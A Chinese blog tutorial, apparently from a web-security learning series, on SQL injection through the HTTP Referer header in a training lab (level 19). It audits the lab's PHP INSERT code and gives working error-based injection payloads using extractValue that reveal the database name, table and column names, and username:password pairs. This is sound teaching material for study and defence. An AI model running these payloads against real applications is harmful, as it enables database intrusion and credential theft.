35岁重学网络安全——SQL注入篇(二十一)

鲁迅先生曾经说过:做安全,先免责!

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

本文主要内容:HTTP头部注入——referer注入

referer注入

referer,即HTTP Referer是头部信息header的一部分,当浏览器向WEB服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
referer的正确拼写是referrer,由于早期HTTP规范的拼写错误,为了保持向后兼容就一直将错就错
常见用法:

  • 防盗链:如只允许自己的网站访问自己的图片服务器。
    • 自己的域名为www.abc.com,那么服务器每次提取到referer来判断是不是自己的域名,是就可以继续访问图片,不是就拦截请求
  • 防止恶意请求:静态请求以.html结尾,动态请求以shtml结尾。那么所有的动态请求,都可以referer为自己的网站
  • referer:空referer的定义为:referer头部的内容为空。或者,一个HTTP请求中不包含referer头部

代码审计

对靶场第19节的内容进行代码审计。源码中对网页输入的用户名和密码进行检查
在这里插入图片描述

check_input()函数中对用户名和密码进行了如下的检查
在这里插入图片描述

使用insert语句将referer的内容插入到数据库中
在这里插入图片描述

PS:靶场的开发者应该是偷懒了,VALUE的第一个参数应该是$referer,开发者应该是复制的前面关卡的代码,没有将$uagent改为$referer
在这里插入图片描述

其它问题

如果第19节网页中不回显报错信息,则将源码改为:mysqli_query($insert);,因为PHP7不支持mysql_query($insert);
在这里插入图片描述

靶场测试

原理分析

在上面的insert语句中包含VALUES ('$uagent', '$IP')";,其中带有$符号的为变量名,被用户输入的内容进行替代。

  • 假设referer的内容为' #,则VALUE中的变量被替换为VALUE('' #','$IP'),因为#为注释符,后面内容不起作用,则变为:VALUE('' #
  • 可以看出VALUE缺少第二参数和右侧的闭合括号,则将referer的内容改为:', 2)#,则完整内容为:VALUE('',2) #','$IP'),由于注释符#的原因,则真正起作用的是:VALUE('',2) #
  • 结合报错注入,则构造的referer的内容应该为:' or extractValue(1,concat('^',(select database()))),2)#

靶场实测

打开靶场第19节,使用Burp suite抓包
PS:一定要使用一个正确的用户名和密码进行登录
在这里插入图片描述

修改referer中的内容为:' or extractValue(1,concat('^',(select database()))),2)#,查询数据库名称
在这里插入图片描述

查询数据表名称、列名和数据

查询数据表名称:' or extractValue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),2)#
在这里插入图片描述

查询数据列名称: ' or extractValue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),2)#
在这里插入图片描述

查询数据信息:' or extractValue(1,concat('^',(select concat(username,':',password) from users limit 0,1))),2)#

  • 这里没有使用substr控制字符长度,而是使用了limit 0,1来逐条输出用户信息

在这里插入图片描述

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值